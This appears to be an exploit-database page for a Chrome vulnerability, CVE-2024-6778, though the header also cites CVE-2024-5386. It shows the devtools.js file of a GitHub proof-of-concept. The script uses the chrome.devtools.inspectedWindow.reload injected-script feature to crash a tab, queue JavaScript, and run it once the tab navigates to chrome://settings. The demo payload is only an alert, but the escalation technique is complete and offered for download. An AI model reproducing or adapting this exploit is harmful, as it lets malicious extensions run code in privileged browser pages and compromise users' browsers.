Exploit databaseDownload repository ZIP
GH-781533179780b08697a1b39378ba9c1f
ading2210/cve-2024-6778-poc
Sources for CVE-2024-5386
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files5
ading2210/cve-2024-6778-pocRevision 4f27339f092d
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
CVE-2024-6778/devtools.js
JavaScript · 1,307 byteslet tab_id = chrome.devtools.inspectedWindow.tabId;
//function which injects the content script into the inspected page
function inject_script() {
chrome.devtools.inspectedWindow.reload({"injectedScript": `
//check the origin, so that the debugger is triggered instead if we are not on a chrome page
console.log(origin);
if (!origin.startsWith("chrome://")) {
//[...new Array(2**31)];
debugger;
return;
}
alert("hello from chrome.devtools.inspectedWindow.reload");`
});
}
function sleep(ms) {
return new Promise((resolve) => {setTimeout(resolve, ms)})
}
async function main() {
//we have to reset the tab's origin here so that we don't crash our own extension process
//this navigates to example.org which changes the tab's origin
await chrome.tabs.update(tab_id, {url: "https://example.org/"});
await sleep(500);
//navigate to about:blank from within the example.org page which keeps the same origin
chrome.devtools.inspectedWindow.reload({"injectedScript": `
location.href = "about:blank";
`
})
await sleep(500);
inject_script(); //pause the current tab
inject_script(); //calling this again crashes the tab and queues up our javascript
await sleep(500);
chrome.tabs.update(tab_id, {url: "chrome://settings"});
}
main();